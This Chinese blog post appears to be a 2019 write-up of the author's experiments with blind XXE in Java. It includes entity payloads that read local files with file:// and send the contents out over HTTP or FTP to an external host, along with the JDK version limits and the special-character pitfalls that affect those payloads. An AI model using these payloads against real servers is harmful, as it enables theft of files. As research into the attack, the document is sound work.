9102年Java里的XXE

之前写过一篇 XXE 的防御,想来过去一年了,只验证可行性和防御措施,实际攻击还没有尝试过,尝试过程遇到无数个坑,这里做一个详细的总结。9102 年了,Java 里的 XXE 危害降低了不少。

本文出现的全部代码在 https://github.com/LeadroyaL/java_xxe_2019

一、背景

最近学习 web 常见 exp 的写法,起手就是一个xxe,但被坑了三天都没有读文件成功,最后发现高版本的 java 使用 url 进行信息外带时,url 里禁止使用 \n ,做了一些研究。

本文只讨论Blind XXE,即没有回显,需要使用 oob 来外带数据。

二、基础知识

1、使用xxe测试java里支持的协议

见LocalEntityDemo.java,成功在xml里使用file协议读文件,并且作为xml内容回显出来。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xdsec[
<!ENTITY s1 SYSTEM "file:///Users/leadroyal/Java_code/java_xxe_2019/line.txt" >
]>
<books>&s1;</books>
1
2
3
4
5
6
7
8
9
10
11
12
13
public class LocalEntityDemo {
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(new File("local.xml"));
NodeList nodes = doc.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
if (nodes.item(i).getNodeType() == Node.ELEMENT_NODE) {
System.out.println(nodes.item(i).getTextContent());
}
}
}
}

2、java 里支持的协议

首先,找个不存在协议,用来测试

这个名为junk的协议不存在,并且给出了堆栈,因此可以方便地找到 java 支持的所有协议。

它是在 sun.net.www.protocol 下寻找Handler 的,通过查看rt.jar ,共支持如下几个协议:

sun.net.www.protocol.file.FileURLConnection a;

file 协议读本地文件

sun.net.www.protocol.ftp.FtpURLConnection b;

ftp 协议获取远程文件

sun.net.www.protocol.http.HttpURLConnection c;

http 协议获取远程文件

sun.net.www.protocol.https.HttpsURLConnectionImpl d;

https 协议获取远程文件

sun.net.www.protocol.jar.JarURLConnection e;

jar 协议获取本地或者远程的 zip 文件,并且阅读其中某个Entry的内容,如果是目录,则返回空字符串,如果是文件,就返回文件的内容

sun.net.www.protocol.mailto.MailToURLConnection f;

mailto 协议,没什么鬼用

sun.net.www.protocol.netdoc.Handler g;

netdoc 协议,与 file 协议功能非常像,可以少写一个斜杠

没有特别骚的协议,都是常见的,我们可以使用http和ftp进行oob,使用file和netdoc读文件。

3、几种无效的 payload

具体细节我不知道,我只知道如下的三种 payload 是无效的

错误 payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xdsec[
<!ENTITY % s1 SYSTEM "file:///Users/leadroyal/Java_code/java_xxe_2019/line.txt" >
<!ENTITY % s2 SYSTEM "http://leadroyal.cn:1234/%s1" >
%s2;
]>
<books></books>

服务器收到的是 GET /%s1 ,没有被转为文件内容

错误 payload:将 oob写在同一个文件里

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xdsec[
<!ENTITY % file SYSTEM "file:///Users/leadroyal/Java_code/java_xxe_2019/line.txt">
<!ENTITY % define "<!ENTITY [& # 3 7 ;] send SYSTEM 'ftp://leadroyal.cn:2121/%file;'>">
%define;%send;
]>
<books></books>

报错,不在内部引用 [Fatal Error] step1.xml:4:86: 参数实体引用 "%file;" 不能出现在 DTD 的内部子集中的标记内。

错误 payload:step2.dtd 里注册方法时使用了百分号(按理说要使用&;来转义)

1
2
<!ENTITY % file SYSTEM "file:///Users/leadroyal/Java_code/java_xxe_2019/line.txt">
<!ENTITY % define "<!ENTITY % send SYSTEM 'ftp://leadroyal.cn:2121/%file;'>">

[Fatal Error] step2.xml:2:30: 在参数实体引用中, 实体名称必须紧跟在 '%' 后面。

三、实验步骤

1、使用http 读单行文件成功,多行文件失败,见github的ExternalEntityDemo1 和 LocalHttpServer

环境:win10+jdk8u172

读单行文件成功

读多行文件失败,因为存在\n

2、使用ftp 读单行文件成功,多行文件失败,见github的 ExternalEntityDemo2 和 LocalFtpServer

环境:win10+jdk8u172

读单行文件成功

读多行文件失败,没有传输有效的数据并且报错

3、低版本ftp 读多行文件成功

环境:mac+jdk8u121

这时候我拿出了 Mac,之前装的是8u121 版,攻击成功,返回来两行内容。 同样,我在7u80 版,也攻击成功,目前官网上下到的 jdk7 就是这个版本。

三、Java版本与ftp攻击的关系

18年7月,在微信sdk 的XXE 被公开时,对内渗透测试,我记得很清楚攻击成功了,一年过去了,我再次渗透测试,居然失败了。百思不得其解,综合上面的测试,猜测是高版本改进了 ftp 进行 oob 时的逻辑。

对比一下7u808u172的代码(我手头就这两个版本)

同样的地方,8u172 加了限制,图片里字符串中包含一个换行,程序终止。

我的mac也是Java8,但是攻击成功了,那么到底是哪个版本开始加的这个限制呢?

刚好在另一篇文章中看到,有大佬提到过 https://www.angelwhu.com/blog/?p=513 ,多行文件读取和操作系统有关的问题,很可惜,这位大佬没有深究,下面是原文引用:

“这里说明下,在windows环境中我成功读取多行内容,但在linux环境中失败了,因此没有考这个知识点。”

这里略过无数句对 oracle-jdk 和 openjdk 的商业化和版权的吐槽,导致找源码越来越费劲,好在经过一番努力,在 openjdk 源码里翻到了细节,没有具体 commit,只有大致的版本号。

Java7

http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u131-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java

http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u141-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java#l521

在7u141修的,但我没找到下载链接,只找到了 ReleaseNote

https://www.oracle.com/technetwork/java/javaseproducts/documentation/javase7supportreleasenotes-1601161.html#R170_141 ,在18年3月对 FTPClient 做了校验。

Java8

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u161-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u162-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java

在8u162 修的,同样也没找到下载链接,但和预期是一致的。

因此,使用ftp 进行 oob 时,对版本有限制, <7u141 和 <8u162 才可以读取整个文件。

四、对文件内容的要求

测试过程中,发现攻击成功与否与文件里的内容也有关,有两方面注意的: 一方面是在外部实体进行注入时,字符串会拼接上文件内容,文件内容会造成括号的闭合和非预期; 另一方面是 Java 代码处理URL 时,会根据协议遇到某些字符时会有额外的逻辑,例如 FTP 遇到斜杠符号表示cd到子目录。

第一类特殊符号【 % & " '】见github的bad_char1.txt

【%】 会被认为是实体的一部分,程序抛出异常并且终止。
【&】 会被认为是实体的一部分,程序抛出异常并且终止。
【"】 会与 <!ENTITY % define_ftp '<!ENTITY % send_ftp SYSTEM "ftp://localhost:2121/%file;">'> 中的引号闭合,遇到的话就使用斜杠转义。
【'】 会与 <!ENTITY % define_ftp '<!ENTITY % send_ftp SYSTEM 'ftp://localhost:2121/%file;'>'> 中的引号闭合,遇到的话就使用双引号。

所以被读取的文件不能含有 【%】 【&】 ,也不能同时含有 【"】和 【'】。

第二类特殊符号 【 / ? \n \r #】见github的bad_char2.txt

【/】 在 URL 里作为路径分割符,http 时没有区别,ftp 时候会让发出的指令发生改变,使用样例 aaa/bbb/ccc/def如下图所示。

可以看到,调试信息中,filename和pathname分开了,按照最后一个斜杠位置来分割。

【?】 是 URL 的关键词,后面的认为是参数,对 http 无影响,对ftp 会形成截断,后续内容不会传输。

【\n】 , 【\r】 在 URL 中会被替换为【\n】,作为换行符处理,对 http 有影响,直接拒绝请求的发送,低版本 ftp 无影响,高版本会触发上文说的检测。

【#】 在URL会被认为是锚点,在http/ftp发包时,不会外带后面的内容,这个可能是URL的一个规范。

五、结论

所有的【\r】 都会被替换为【\n】

如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件。

版本限制是 <7u141 和 <8u162 才可以读取整个文件。

如果含有特殊字符 【%】 【&】 会完全出错。

如果含有特殊字符 【'】 【"】 可以稍微绕过。

如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断。

如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case。

如果含有特殊字符【#】,会造成截断。

六、参考链接

https://xz.aliyun.com/t/3357 K0rz3n详细介绍 XXE的先知文章

https://www.angelwhu.com/blog/?p=513 ddctf2018提到多行文件读取可能成功可能失败的情况

https://github.com/enjoiz/XXEinjector 比较全的工具合集,但在本文的案例中并没有发挥作用

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb 收ftp-oob的ruby脚本,在本文中出现过,缺少对数据的处理。